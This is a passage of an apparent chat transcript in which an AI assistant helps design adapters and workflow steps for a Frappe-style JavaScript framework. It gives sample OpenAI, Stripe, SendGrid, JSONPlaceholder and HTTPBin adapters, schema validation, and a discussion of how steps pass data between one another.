// STEP 3: Validate result matches target schema
this._validateAgainstSchema(result, run_doc.target.schema);
// STEP 4: Populate target.data (ONLY if validation passed)
run_doc.target.data = Array.isArray(result) ? result : [result];
run_doc.target.meta = {
populated_at: Date.now(),
validated: true,
count: run_doc.target.data.length
};
// STEP 5: Mark as success (pipeline complete)
run_doc.success = true;
run_doc.status = "completed";
} catch (err) {
// Pipeline failed - target not populated correctly
run_doc.success = false;
run_doc.status = "failed";
run_doc.error = {
message: err.message,
stage: err.stage || "execution"
};
}
return run_doc;
};Adapter Contract
Adapters MUST return data that conforms to target schema:
javascript
// Adapter definition includes target mapping
Adapter: OpenAI = {
name: "OpenAI",
// Each operation declares its target doctype
operations: {
chat_complete: {
target_doctype: "AICompletion",
function: `async function(input, config) {
const response = await fetch(config.url, {
method: 'POST',
body: JSON.stringify({
model: input.model,
messages: input.messages
})
});
const raw = await response.json();
// MUST return structure matching AICompletion schema
return {
doctype: "AICompletion",
name: generateId("AICompletion"),
content: raw.choices[0].message.content,
model: raw.model,
tokens_used: raw.usage.total_tokens,
request_id: raw.id,
created: raw.created,
finish_reason: raw.choices[0].finish_reason
};
}`
},
generate_image: {
target_doctype: "AIImage",
function: `async function(input, config) {
const response = await fetch(config.url + '/images/generations', {...});
const raw = await response.json();
// MUST return structure matching AIImage schema
return {
doctype: "AIImage",
name: generateId("AIImage"),
url: raw.data[0].url,
prompt: input.prompt,
revised_prompt: raw.data[0].revised_prompt,
created: raw.created
};
}`
}
}
};Schema Definitions for Adapters
javascript
// AICompletion schema (target for chat operations)
Schema: AICompletion = {
name: "AICompletion",
fields: [
{ fieldname: "name", fieldtype: "Data", required: 1 },
{ fieldname: "content", fieldtype: "Long Text", required: 1 },
{ fieldname: "model", fieldtype: "Data", required: 1 },
{ fieldname: "tokens_used", fieldtype: "Int" },
{ fieldname: "request_id", fieldtype: "Data" },
{ fieldname: "created", fieldtype: "Datetime" },
{ fieldname: "finish_reason", fieldtype: "Data" }
]
};
// AIImage schema (target for image generation)
Schema: AIImage = {
name: "AIImage",
fields: [
{ fieldname: "name", fieldtype: "Data", required: 1 },
{ fieldname: "url", fieldtype: "Data", required: 1 },
{ fieldname: "prompt", fieldtype: "Long Text", required: 1 },
{ fieldname: "revised_prompt", fieldtype: "Long Text" },
{ fieldname: "created", fieldtype: "Datetime" }
]
};Success Criteria
javascript
// Pipeline is successful ONLY when:
1. Adapter returned data
2. Data includes doctype field matching target
3. All required fields present
4. All fields match expected types
5. Data populated into target.data
6. Schema available in target.schema
// Then and ONLY then:
run_doc.success = true;Example: Complete Flow
javascript
// Request
await coworker.run({
operation: 'chat_complete',
input: {
model: 'gpt-4',
messages: [{ role: 'user', content: 'Hello' }]
},
options: { adapter: 'OpenAI' }
});
// Internal stages (_raw is intermediate, NOT the output):
// Stage 1: HTTP call
_raw_http_response = { status: 200, body: { id: "...", choices: [...] } }
// Stage 2: Adapter normalization
_normalized = {
doctype: "AICompletion",
content: "Hello! How can I help?",
model: "gpt-4",
tokens_used: 21
}
// Stage 3: Validation (against AICompletion schema)
✅ All required fields present
✅ Types match
// Stage 4: Populate target
run_doc.target = {
doctype: "AICompletion",
schema: { fields: [...] },
data: [_normalized],
meta: { validated: true }
}
// Stage 5: Success
run_doc.success = true ✅Your Insight is Critical
_raw, _http, intermediate responses are INTERNAL to the pipeline.
Only target.data matters for success.
This means:
- Adapters must do normalization (can't defer to client)
- Target schema must be known upfront
- Validation is part of pipeline, not optional
- Success = "data ready for consumption in expected format"
This is exactly like Frappe's controller pattern where before_save() transforms data before it reaches the database in the expected schema.
4:15 PM
Yes - Mandatory Adapter Steps
The Three Mandatory Steps
javascript
Adapter Pipeline:
1. provide_secrets → Configuration/authentication
2. parse_request → Transform input to API format
3. parse_response → Transform API response to target schemaStep 1: provide_secrets
Purpose: Supply configuration and credentials
javascript
// Adapter configuration
{
name: "OpenAI",
provide_secrets: {
api_key: process.env.OPENAI_API_KEY,
organization: process.env.OPENAI_ORG,
base_url: "https://api.openai.com/v1",
timeout: 30000,
default_model: "gpt-4-turbo-preview"
}
}This is your adapter.data field:
javascript
adapter.data = {
api_key: "sk-...",
base_url: "https://api.openai.com/v1",
timeout: 30000
}Step 2: parse_request
Purpose: Transform run_doc.input → API-specific format
javascript
// User provides generic input
run_doc.input = {
prompt: "Write a poem about cats",
max_tokens: 100
}
// parse_request transforms to OpenAI format
parse_request(input, config) {
return {
model: config.default_model,
messages: [
{ role: "user", content: input.prompt }
],
max_tokens: input.max_tokens,
temperature: input.temperature || 0.7
};
}
// Result sent to API
{
"model": "gpt-4-turbo-preview",
"messages": [{ "role": "user", "content": "Write a poem about cats" }],
"max_tokens": 100,
"temperature": 0.7
}Step 3: parse_response
Purpose: Transform API response → target schema
javascript
// Raw API response
_raw = {
"id": "chatcmpl-123",
"object": "chat.completion",
"created": 1677652288,
"model": "gpt-4-turbo-preview",
"choices": [{
"message": { "role": "assistant", "content": "Cats are soft..." },
"finish_reason": "stop"
}],
"usage": { "prompt_tokens": 9, "completion_tokens": 50, "total_tokens": 59 }
}
// parse_response transforms to target schema (AICompletion)
parse_response(raw, targetSchema) {
return {
doctype: "AICompletion",
name: generateId("AICompletion"),
content: raw.choices[0].message.content,
model: raw.model,
tokens_used: raw.usage.total_tokens,
request_id: raw.id,
created: new Date(raw.created * 1000).toISOString(),
finish_reason: raw.choices[0].finish_reason
};
}
// Result in target.data
run_doc.target.data[0] = {
doctype: "AICompletion",
name: "AICompletion-abc123",
content: "Cats are soft...",
model: "gpt-4-turbo-preview",
tokens_used: 59,
request_id: "chatcmpl-123",
created: "2024-01-15T10:30:00Z",
finish_reason: "stop"
}Adapter Structure with Mandatory Steps
javascript
Adapter: OpenAI = {
name: "OpenAI",
full_name: "openai",
// STEP 1: provide_secrets
data: {
api_key: process.env.OPENAI_API_KEY,
base_url: "https://api.openai.com/v1",
timeout: 30000,
default_model: "gpt-4-turbo-preview"
},
operations: {
chat_complete: {
target_doctype: "AICompletion",
// STEP 2: parse_request
parse_request: `function(input, config) {
return {
model: input.model || config.default_model,
messages: input.messages || [
{ role: "user", content: input.prompt }
],
max_tokens: input.max_tokens,
temperature: input.temperature || 0.7
};
}`,
// HTTP execution (standard)
execute: `async function(parsedRequest, config) {
const response = await fetch(config.base_url + '/chat/completions', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify(parsedRequest)
});
return {
status: response.status,
headers: Object.fromEntries(response.headers),
body: await response.json()
};
}`,
// STEP 3: parse_response
parse_response: `function(httpResponse, targetSchema) {
const raw = httpResponse.body;
return {
doctype: targetSchema.name,
name: generateId(targetSchema.name),
content: raw.choices[0].message.content,
model: raw.model,
tokens_used: raw.usage.total_tokens,
request_id: raw.id,
created: new Date(raw.created * 1000).toISOString(),
finish_reason: raw.choices[0].finish_reason
};
}`
}
}
}Execution Flow with Mandatory Steps
javascript
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const operation = adapter.operations[run_doc.operation];
// Load target schema
run_doc.target = {
doctype: operation.target_doctype,
schema: await this.getSchema(operation.target_doctype),
data: null,
meta: {}
};
try {
// STEP 1: provide_secrets (already in adapter.data)
const config = adapter.data;
// STEP 2: parse_request
const parsedRequest = operation.parse_request(run_doc.input, config);
// Execute HTTP call
const httpResponse = await operation.execute(parsedRequest, config);
// Check HTTP success
if (httpResponse.status < 200 || httpResponse.status >= 300) {
throw new Error(`HTTP ${httpResponse.status}: ${JSON.stringify(httpResponse.body)}`);
}
// STEP 3: parse_response
const normalizedData = operation.parse_response(
httpResponse,
run_doc.target.schema
);
// Validate against schema
this._validateAgainstSchema(normalizedData, run_doc.target.schema);
// Populate target (pipeline complete)
run_doc.target.data = [normalizedData];
run_doc.target.meta = {
http_status: httpResponse.status,
adapter: adapter.name,
operation: run_doc.operation,
validated: true
};
run_doc.success = true;
} catch (err) {
run_doc.success = false;
run_doc.error = {
message: err.message,
stage: err.stage || "execution"
};
}
return run_doc;
};Why These Three Steps Are Mandatory
1. provide_secrets
Without it: Can't authenticate with external API Required for: Every external call needs credentials/config
2. parse_request
Without it: User input doesn't match API expectations Example issues:
- OpenAI expects
messagesarray, user providespromptstring - Stripe expects
amountin cents, user provides dollars - SendGrid expects
personalizations, user provides simpletofield
3. parse_response
Without it: API response doesn't match target schema Example issues:
- OpenAI returns
choices[0].message.content, schema expectscontent - Stripe returns
createdas unix timestamp, schema expects ISO datetime - SendGrid returns empty body, schema expects message confirmation
Comparison to Other Adapters
Stripe Adapter
javascript
operations: {
create_customer: {
target_doctype: "StripeCustomer",
parse_request: `function(input, config) {
return {
email: input.email,
name: input.name,
metadata: input.metadata || {}
};
}`,
parse_response: `function(httpResponse, targetSchema) {
const raw = httpResponse.body;
return {
doctype: "StripeCustomer",
name: generateId("StripeCustomer"),
customer_id: raw.id,
email: raw.email,
name: raw.name,
created: new Date(raw.created * 1000).toISOString(),
balance: raw.balance
};
}`
}
}SendGrid Adapter
javascript
operations: {
send_email: {
target_doctype: "EmailDelivery",
parse_request: `function(input, config) {
return {
personalizations: [{
to: [{ email: input.to }],
subject: input.subject
}],
from: { email: input.from || config.default_from },
content: [{
type: "text/html",
value: input.html || input.text
}]
};
}`,
parse_response: `function(httpResponse, targetSchema) {
return {
doctype: "EmailDelivery",
name: generateId("EmailDelivery"),
message_id: httpResponse.headers['x-message-id'],
to: input.to,
status: httpResponse.status === 202 ? "queued" : "failed",
accepted: httpResponse.status === 202
};
}`
}
}
```
---
## Summary
**Yes, these three steps are mandatory for adapter success:**
```
1. provide_secrets → adapter.data (config/credentials)
2. parse_request → transform input to API format
3. parse_response → transform API response to target schema
Without all three:
- Can't authenticate ❌
- Can't send correct request ❌
- Can't populate target.data correctly ❌
- Pipeline can't succeed ❌This is essentially the Adapter Pattern from design patterns - the three steps ARE the adapter's job: translate between incompatible interfaces.
4:58 PM
Simplest Service: JSON Placeholder API
Why JSON Placeholder?
✅ No authentication required (skip provide_secrets complexity) ✅ Simple REST endpoints (GET, POST, PUT, DELETE) ✅ Predictable responses (consistent JSON structure) ✅ Free, always available (https://jsonplaceholder.typicode.com) ✅ Well-documented (clear API contract)
Complete Test Adapter: JSONPlaceholder
javascript
Adapter: JSONPlaceholder = {
name: "JSONPlaceholder",
full_name: "jsonplaceholder",
// STEP 1: provide_secrets (minimal - no auth needed)
data: {
base_url: "https://jsonplaceholder.typicode.com",
timeout: 5000
},
operations: {
// ═══════════════════════════════════════════════
// GET POST
// ═══════════════════════════════════════════════
get_post: {
target_doctype: "BlogPost",
// STEP 2: parse_request
parse_request: `function(input, config) {
return {
url: config.base_url + '/posts/' + input.id,
method: 'GET'
};
}`,
// Execute
execute: `async function(parsedRequest, config) {
const response = await fetch(parsedRequest.url, {
method: parsedRequest.method
});
return {
status: response.status,
body: await response.json()
};
}`,
// STEP 3: parse_response
parse_response: `function(httpResponse, targetSchema) {
const raw = httpResponse.body;
return {
doctype: "BlogPost",
name: generateId("BlogPost"),
post_id: raw.id,
user_id: raw.userId,
title: raw.title,
body: raw.body
};
}`
},
// ═══════════════════════════════════════════════
// CREATE POST
// ═══════════════════════════════════════════════
create_post: {
target_doctype: "BlogPost",
parse_request: `function(input, config) {
return {
url: config.base_url + '/posts',
method: 'POST',
body: {
title: input.title,
body: input.body,
userId: input.user_id || 1
}
};
}`,
execute: `async function(parsedRequest, config) {
const response = await fetch(parsedRequest.url, {
method: parsedRequest.method,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(parsedRequest.body)
});
return {
status: response.status,
body: await response.json()
};
}`,
parse_response: `function(httpResponse, targetSchema) {
const raw = httpResponse.body;
return {
doctype: "BlogPost",
name: generateId("BlogPost"),
post_id: raw.id,
user_id: raw.userId,
title: raw.title,
body: raw.body
};
}`
}
}
};Target Schema
javascript
Schema: BlogPost = {
name: "BlogPost",
fields: [
{ fieldname: "name", fieldtype: "Data", required: 1 },
{ fieldname: "post_id", fieldtype: "Int", label: "Post ID" },
{ fieldname: "user_id", fieldtype: "Int", label: "User ID" },
{ fieldname: "title", fieldtype: "Data", label: "Title", required: 1 },
{ fieldname: "body", fieldtype: "Long Text", label: "Body", required: 1 }
],
permissions: [
{ role: "System Manager", read: 1, write: 1 }
]
};Test Cases
Test 1: GET Post
javascript
const run = await coworker.run({
operation: 'get_post',
input: { id: 1 },
options: { adapter: jsonPlaceholderAdapter }
});
console.log(run.success); // true
console.log(run.target.doctype); // "BlogPost"
console.log(run.target.data[0]);
// {
// doctype: "BlogPost",
// name: "BlogPost-abc123",
// post_id: 1,
// user_id: 1,
// title: "sunt aut facere repellat...",
// body: "quia et suscipit..."
// }Test 2: CREATE Post
javascript
const run = await coworker.run({
operation: 'create_post',
input: {
title: 'My Test Post',
body: 'This is a test post body',
user_id: 1
},
options: { adapter: jsonPlaceholderAdapter }
});
console.log(run.success); // true
console.log(run.target.data[0]);
// {
// doctype: "BlogPost",
// name: "BlogPost-xyz789",
// post_id: 101, // JSONPlaceholder always returns 101 for new posts
// user_id: 1,
// title: "My Test Post",
// body: "This is a test post body"
// }Test 3: Error Handling
javascript
const run = await coworker.run({
operation: 'get_post',
input: { id: 999999 }, // Non-existent post
options: { adapter: jsonPlaceholderAdapter }
});
console.log(run.success); // false
console.log(run.error.message); // "HTTP 404: ..."What You're Testing
✅ provide_secrets → Simple config (no auth complexity)
✅ parse_request → Transform { id: 1 } → GET /posts/1
✅ parse_response → Transform JSON → BlogPost schema
✅ HTTP execution → Actual network call
✅ Schema validation → Ensure required fields present
✅ target population → Pipeline completes successfully
✅ Error handling → 404s, network failures
Even Simpler Alternative: HTTPBin
If you want to test the adapter mechanism without worrying about response structure:
javascript
Adapter: HTTPBin = {
name: "HTTPBin",
data: { base_url: "https://httpbin.org" },
operations: {
echo: {
target_doctype: "EchoResponse",
parse_request: `function(input, config) {
return {
url: config.base_url + '/post',
method: 'POST',
body: input
};
}`,
execute: `async function(parsedRequest, config) {
const response = await fetch(parsedRequest.url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(parsedRequest.body)
});
return {
status: response.status,
body: await response.json()
};
}`,
parse_response: `function(httpResponse, targetSchema) {
const raw = httpResponse.body;
return {
doctype: "EchoResponse",
name: generateId("EchoResponse"),
echoed_data: raw.json,
origin: raw.origin,
url: raw.url
};
}`
}
}
};
// Test
await coworker.run({
operation: 'echo',
input: { test: 'hello', number: 123 },
options: { adapter: httpbinAdapter }
});
// Result
run.target.data[0] = {
doctype: "EchoResponse",
echoed_data: { test: 'hello', number: 123 },
origin: "...",
url: "https://httpbin.org/post"
}Recommendation
Start with JSONPlaceholder because:
- More realistic (mimics real APIs like blogs, social media)
- Multiple operations to test (GET, POST, PUT, DELETE)
- Clear success/error cases
- No rate limits or auth complexity
Move to HTTPBin if you just want to verify the adapter mechanism works without caring about the response structure.
5:04 PM
No - We Did NOT Finalize Adapter Document Structure
What We Discussed But Didn't Decide
Discussion Points:
- ✅ Agreed: Adapters are singletons (not template → instances)
- ✅ Agreed: Adapters need schema + data + functions + steps (collapsed view)
- ✅ Agreed: Three mandatory steps: provide_secrets, parse_request, parse_response
- ✅ Agreed: Pipeline completes only when target.data matches target.schema
- ❌ NOT agreed: Exact document structure
Current Confusion
We've been oscillating between different structures without settling:
Version A: Adapter as Special DocType
javascript
DocType: "Adapter"
Document: {
doctype: "Adapter",
name: "OpenAI",
full_name: "openai",
fields: [...], // Schema info
permissions: [...], // Authorization
functions: {...}, // Serialized functions
data: {...}, // Config/secrets
steps: [...], // Workflow definitions
meta: {...} // Metadata
}Version B: Adapter with Separate Operations
javascript
Document: {
doctype: "Adapter",
name: "OpenAI",
data: { api_key: "...", base_url: "..." },
operations: {
chat_complete: {
target_doctype: "AICompletion",
parse_request: "...",
execute: "...",
parse_response: "..."
},
generate_image: {
target_doctype: "AIImage",
parse_request: "...",
execute: "...",
parse_response: "..."
}
}
}Version C: Separated DocTypes
javascript
DocType: "Adapter"
DocType: "AdapterOperation"
DocType: "AdapterCapability"
DocType: "AdapterStep"Questions We Need to Answer
1. Storage Structure
Q: Single Adapter document with everything, or multiple related documents?
Option A: Single document (denormalized)
javascript
{
doctype: "Adapter",
name: "OpenAI",
data: {...},
operations: {...} // All operations in one doc
}Option B: Multiple documents (normalized)
javascript
// Adapter doc
{ doctype: "Adapter", name: "OpenAI", data: {...} }
// Operation docs
{ doctype: "AdapterOperation", adapter: "OpenAI", name: "chat_complete", ... }
{ doctype: "AdapterOperation", adapter: "OpenAI", name: "generate_image", ... }2. Functions Storage
Q: How are functions stored?
Option A: Serialized strings in JSON field
javascript
{
operations: {
chat_complete: {
parse_request: "function(input, config) { return {...}; }"
}
}
}Option B: Separate function documents
javascript
{
doctype: "AdapterFunction",
adapter: "OpenAI",
operation: "chat_complete",
step: "parse_request",
code: "function(input, config) { return {...}; }"
}3. Permissions
Q: Where do permissions live?
Option A: In Adapter schema (like regular doctypes)
javascript
Schema: Adapter = {
permissions: [
{ role: "System Manager", read: 1, write: 1 }
]
}Option B: In Adapter document (instance-level)
javascript
{
doctype: "Adapter",
name: "OpenAI",
permissions: [
{ role: "AI User", chat_complete: 1 },
{ role: "System Manager", chat_complete: 1, generate_image: 1 }
]
}Option C: Separate Capability documents
javascript
{
doctype: "Capability",
adapter: "OpenAI",
operation: "chat_complete",
roles: ["AI User", "System Manager"]
}4. Target Doctype Mapping
Q: How do we know which operation produces which target?
Option A: In operation definition
javascript
{
operations: {
chat_complete: {
target_doctype: "AICompletion",
parse_request: "...",
parse_response: "..."
}
}
}Option B: Separate mapping document
javascript
{
doctype: "OperationTarget",
adapter: "OpenAI",
operation: "chat_complete",
target_doctype: "AICompletion"
}5. Configuration (provide_secrets)
Q: Where is adapter config stored?
Option A: In data field (current assumption)
javascript
{
doctype: "Adapter",
name: "OpenAI",
data: {
api_key: process.env.OPENAI_API_KEY,
base_url: "https://api.openai.com/v1"
}
}Option B: Separate config document per environment
javascript
{ doctype: "AdapterConfig", adapter: "OpenAI", env: "prod", api_key: "...", base_url: "..." }
{ doctype: "AdapterConfig", adapter: "OpenAI", env: "dev", api_key: "...", base_url: "..." }My Recommendation: Start Simple
Minimal Viable Adapter Structure
javascript
// Single document with everything
{
// Identity
doctype: "Adapter",
name: "OpenAI",
// Config (provide_secrets)
config: {
api_key: "sk-...",
base_url: "https://api.openai.com/v1",
timeout: 30000
},
// Operations (array, not object, for easier querying)
operations: [
{
name: "chat_complete",
target_doctype: "AICompletion",
// Functions as strings
parse_request: "function(input, config) { ... }",
execute: "async function(request, config) { ... }",
parse_response: "function(response, schema) { ... }"
},
{
name: "generate_image",
target_doctype: "AIImage",
parse_request: "...",
execute: "...",
parse_response: "..."
}
],
// Permissions (function-level)
permissions: [
{ role: "AI User", operations: ["chat_complete"] },
{ role: "System Manager", operations: ["chat_complete", "generate_image"] }
]
}Why This Structure?
✅ Single document - easy to load/cache ✅ Operations as array - easy to iterate/query ✅ Functions inline - all logic in one place ✅ Permissions inline - simple to check ✅ No joins needed - everything together
What We Need to Decide NOW
- Do you want single document or multiple related documents?
- Should we support multiple environments (dev/prod configs)?
- Are permissions per-adapter or per-operation?
- Should steps/workflows be in same document or separate?
Let's finalize this before writing any more code.
6:23 PM
Conceptual Discussion: Functions vs Steps
The Core Distinction
Functions = Capability Definition (Static)
What the adapter CAN do
Defined once
Stored as code stringsSteps = Execution Instance (Dynamic)
What we're ACTUALLY doing right now
Created per run
References functionsYour Proposal
Functions: Stored in adapter document (JSON field with serialized code) Steps: Loaded/created at runtime based on functions
The Pattern
Storage (Adapter Document)
Adapter: OpenAI
└─ operations: [
{
name: "chat_complete",
functions: {
parse_request: "function(...) {...}",
execute: "async function(...) {...}",
parse_response: "function(...) {...}"
}
}
]Runtime (When run() is called)
run_doc creates steps:
Step 1: parse_request (uses function from adapter)
Step 2: execute (uses function from adapter)
Step 3: parse_response (uses function from adapter)Why This Makes Sense
Functions Are Templates
- Defined once in adapter
- Same code for every execution
- Like a class method definition
Steps Are Instances
- Created for each run
- Have actual input/output data
- Like method calls with arguments
Analogy
Class (Adapter):
method parse_request() { ... } ← Function definition
method execute() { ... } ← Function definition
method parse_response() { ... } ← Function definition
Instance (run_doc):
step1 = call parse_request(input) ← Step with data
step2 = call execute(parsed_request) ← Step with data
step3 = call parse_response(response) ← Step with dataQuestions This Raises
Q1: Are steps ALWAYS the same three?
- parse_request → execute → parse_response
- Or can adapters define custom step sequences?
Q2: Where do steps live?
Option A: In run_doc (ephemeral)
run_doc.steps = [
{ name: "parse_request", status: "completed", output: {...} },
{ name: "execute", status: "completed", output: {...} },
{ name: "parse_response", status: "completed", output: {...} }
]Option B: In separate Step documents (persistent)
DocType: "RunStep"
{
run_id: "run-123",
step_name: "parse_request",
status: "completed",
output: {...}
}Q3: Can steps reference other adapters?
Adapter: ComplexWorkflow
operations: [
{
name: "process_payment_and_notify",
steps: [
{ function: "validate_input", adapter: null },
{ function: "charge_card", adapter: "Stripe" }, ← Call another adapter
{ function: "send_email", adapter: "SendGrid" }, ← Call another adapter
{ function: "log_result", adapter: null }
]
}
]Q4: Are functions ONLY for adapters or also internal?
Scenario: You have internal business logic
Function: calculate_tax(amount, region)
Function: validate_email(email)
Are these also stored as "functions" in some document?
Or are these just JavaScript functions in your codebase?The Workflow Pattern Emerges
This sounds like you're building toward:
Adapter defines ATOMIC functions
├─ parse_request
├─ execute
└─ parse_response
Workflow composes functions into SEQUENCES
├─ Step 1: Use function A from Adapter X
├─ Step 2: Use function B from Adapter Y
└─ Step 3: Use function C from Adapter XLike AWS Step Functions or Temporal Workflows where:
- Activities = Functions (what CAN be done)
- Workflow = Steps (what IS being done, in what order)
Key Design Question
Should the three steps (parse_request, execute, parse_response) be:
Option A: Hardcoded Pipeline (Simpler)
Every adapter operation MUST have these three They always execute in this order Steps are implicit, not stored
Option B: Flexible Pipeline (More Powerful)
Adapters define custom step sequences Some operations might skip parse_request Some might add extra steps (retry, logging, etc.) Steps are explicit, stored
Example: Flexible Pipeline
Adapter: Stripe
operation: create_customer
steps: [
{ name: "validate_input", function: validate_customer_data },
{ name: "parse_request", function: format_for_stripe },
{ name: "execute", function: http_post },
{ name: "parse_response", function: normalize_customer }
]
operation: retry_failed_payment
steps: [
{ name: "fetch_payment", function: get_payment_intent },
{ name: "check_retry_count", function: validate_retry_limit },
{ name: "execute", function: http_post },
{ name: "parse_response", function: normalize_payment },
{ name: "log_retry", function: create_audit_log }
]Different operations, different step sequences, but all use stored functions.
My Question to You
Which model matches your vision?
A) Fixed 3-step pipeline
- Every adapter operation: parse_request → execute → parse_response
- Steps are implicit (not stored)
- Simple, predictable
B) Flexible step sequences
- Each operation defines its own step array
- Steps reference functions by name
- More powerful, more complex
C) Hybrid
- Default 3-step pipeline for simple operations
- Optional custom steps for complex workflows
- Best of both worlds?
6:26 PM
Cross-Adapter Steps: The Vision
Going Back to Your Initial Example
javascript
{
"name": "flow_template_list_operations",
"description": "Example using list with calculation step",
"steps": [
{
"name": "step_a1b2c3d4e5f6g7h",
"title": "select_open_tasks",
"operation": "select",
"doctype": "Task",
"args": { "where": { "status": "Open" } }
},
{
"name": "step_b2c3d4e5f6g7h8i",
"title": "calculate_task_metrics",
"operation": "evaluate",
"doctype": "Code",
"source_step": "select_open_tasks",
"args": {
"code": `
const task_count = tasks.length;
const total_estimated_hours = tasks.reduce((sum, t) => sum + t.estimated_hours, 0);
return { task_count, total_estimated_hours };
`
}
},
{
"name": "step_h8i9j0k1l2m3n4o",
"title": "create_summary_report",
"operation": "create",
"doctype": "Report",
"source_step": "calculate_task_metrics",
"args": {
"data": {
"title": "Open Tasks Summary",
"task_count": "{{code.task_count}}",
"total_estimated_hours": "{{code.total_estimated_hours}}"
}
}
}
]
}What This Shows
Steps are cross-system:
- Step 1: Internal CRUD (
selectfromTask) - Step 2: Internal function (
evaluatecode) - Step 3: Internal CRUD (
createinReport)
But could also be:
- Step 1: Internal CRUD
- Step 2: External adapter (Stripe
create_payment) - Step 3: External adapter (SendGrid
send_email) - Step 4: Internal CRUD (
updateInvoice)
The Universal Pattern
Each Step Has:
javascript
{
name: "unique_step_id",
title: "human_readable_name",
operation: "what_to_do",
// EITHER internal doctype OR external adapter
doctype: "Task", // Internal
adapter: "Stripe", // External
source_step: "previous_step", // Data pipeline
args: { /* operation params */ }
}Functions vs Steps Clarification
Functions (Adapter Level)
Stored in adapter document:
javascript
Adapter: Stripe = {
operations: [
{
name: "create_payment",
functions: {
parse_request: "function(...) {...}",
execute: "function(...) {...}",
parse_response: "function(...) {...}"
}
}
]
}These are ATOMIC capabilities - what Stripe adapter CAN do.
Steps (Workflow Level)
Stored in workflow/flow template:
javascript
FlowTemplate: "payment_and_notification" = {
steps: [
{
name: "step_1",
operation: "select",
doctype: "Invoice", // Internal operation
args: { where: { unpaid: true } }
},
{
name: "step_2",
operation: "create_payment",
adapter: "Stripe", // External adapter
source_step: "step_1",
args: {
amount: "{{step_1.data[0].amount}}",
customer: "{{step_1.data[0].stripe_customer_id}}"
}
},
{
name: "step_3",
operation: "send_email",
adapter: "SendGrid", // External adapter
source_step: "step_2",
args: {
to: "{{step_1.data[0].customer_email}}",
template: "payment_receipt",
data: {
amount: "{{step_2.data[0].amount}}",
receipt_url: "{{step_2.data[0].receipt_url}}"
}
}
},
{
name: "step_4",
operation: "update",
doctype: "Invoice", // Internal operation
source_step: "step_2",
args: {
where: { name: "{{step_1.data[0].name}}" },
data: {
paid: true,
payment_id: "{{step_2.data[0].id}}"
}
}
}
]
}
```
**These are COMPOSITIONS** - what we're ACTUALLY doing with those capabilities.
---
## The Architecture
```
Layer 1: FUNCTIONS (Atomic Capabilities)
├─ Internal: CRUD operations (select, create, update, delete)
├─ Internal: Business functions (calculate_tax, validate_email)
└─ External: Adapter functions (Stripe.create_payment, SendGrid.send_email)
Layer 2: STEPS (Workflow Composition)
├─ Reference functions from Layer 1
├─ Pass data between steps (source_step)
├─ Execute in sequence
└─ Cross internal/external boundaries
```
---
## Key Insight: Steps Are Cross-Adapter
A single workflow can:
1. Query internal database (Task doctype)
2. Call Stripe adapter (external)
3. Call SendGrid adapter (external)
4. Update internal database (Invoice doctype)
5. Call OpenAI adapter (external)
6. Create internal record (Log doctype)
**Steps don't care if they're calling:**
- Internal CRUD
- Internal function
- External adapter
**They just care:**
- What operation to run
- Where to get input (source_step)
- Where to send output (next step)
---
## Functions vs Steps: Final Distinction
### Functions = "Verbs" (What CAN be done)
```
Internal:
- select, create, update, delete
- calculate_tax, validate_email
External (Adapters):
- Stripe: create_payment, refund_payment
- SendGrid: send_email, send_template
- OpenAI: chat_complete, generate_image
```
### Steps = "Sentences" (What IS being done)
```
Workflow: "Process Payment and Notify"
1. SELECT invoices WHERE unpaid = true
2. CREATE PAYMENT via Stripe using invoice data
3. SEND EMAIL via SendGrid with payment confirmation
4. UPDATE invoice SET paid = true
```
---
## Storage Implications
### Functions Storage
```
Adapter Documents contain functions:
- Adapter: Stripe → operations → create_payment → { parse_request, execute, parse_response }
- Adapter: SendGrid → operations → send_email → { parse_request, execute, parse_response }
Built-in operations have implicit functions:
- select → internal CRUD logic
- create → internal CRUD logic
```
### Steps Storage
```
FlowTemplate Documents contain steps:
- FlowTemplate: "payment_flow" → steps: [...]
- FlowTemplate: "onboarding_flow" → steps: [...]
OR
Run Documents contain steps (instance):
- Run: "run-abc123" → steps: [...] (execution history)
```
---
## The Question
**When you said "steps based on functions are loaded":**
Did you mean:
**A) Adapter-internal steps** (the 3-step pipeline)?
```
When executing Stripe adapter operation:
- Load parse_request function
- Load execute function
- Load parse_response function
- Run them as 3 steps
```
**B) Workflow-level steps** (cross-adapter composition)?
```
When executing flow template:
- Load step 1 (might use internal CRUD)
- Load step 2 (might use Stripe adapter's create_payment function)
- Load step 3 (might use SendGrid adapter's send_email function)
- Run them in sequence, passing data between them
```
**C) Both?**
```
Workflows contain high-level steps
Each step that uses an adapter triggers that adapter's 3-function pipeline
So you have nested execution:
Workflow Step → Adapter Operation → parse_request + execute + parse_responseMy Understanding
Based on your initial example, you want B or C:
Steps are workflow-level - they orchestrate across internal operations AND external adapters.
Functions are capability-level - they define what individual adapters can do.
The magic: A step can call ANY function (internal CRUD, internal business logic, or external adapter) using the same interface.
Is this correct?
6:31 PM
Data Access in Pipeline: Using step_id
Your Insight
Every step produces standardized output:
step_id.target.data[0] // The actual data
step_id.target.schema // How to interpret it
step_id.target.doctype // What type it isThe Pattern
Step 1 Output
javascript
step_a1b2c3d4e5f6g7h = {
name: "step_a1b2c3d4e5f6g7h",
title: "select_open_tasks",
target: {
doctype: "Task",
schema: { fields: [...] },
data: [
{ name: "TASK-001", status: "Open", estimated_hours: 5 },
{ name: "TASK-002", status: "Open", estimated_hours: 8 }
],
meta: { count: 2 }
}
}Step 2 References Step 1
javascript
step_b2c3d4e5f6g7h8i = {
name: "step_b2c3d4e5f6g7h8i",
title: "calculate_task_metrics",
source_step: "step_a1b2c3d4e5f6g7h", // Reference by step_id
// Access previous step's data
input: {
tasks: step_a1b2c3d4e5f6g7h.target.data // All tasks
}
}Step 3 References Step 2
javascript
step_h8i9j0k1l2m3n4o = {
name: "step_h8i9j0k1l2m3n4o",
title: "create_summary_report",
source_step: "step_b2c3d4e5f6g7h8i",
// Access calculated metrics
input: {
task_count: step_b2c3d4e5f6g7h8i.target.data[0].task_count,
total_hours: step_b2c3d4e5f6g7h8i.target.data[0].total_estimated_hours
}
}Universal Access Pattern
Every step, regardless of source (internal/external), produces:
javascript
{
target: {
doctype: "SomeType", // What it is
schema: { fields: [...] }, // How to interpret it
data: [...], // The actual payload
meta: {...} // Execution metadata
}
}So any step can access any previous step:
javascript
// Internal CRUD step
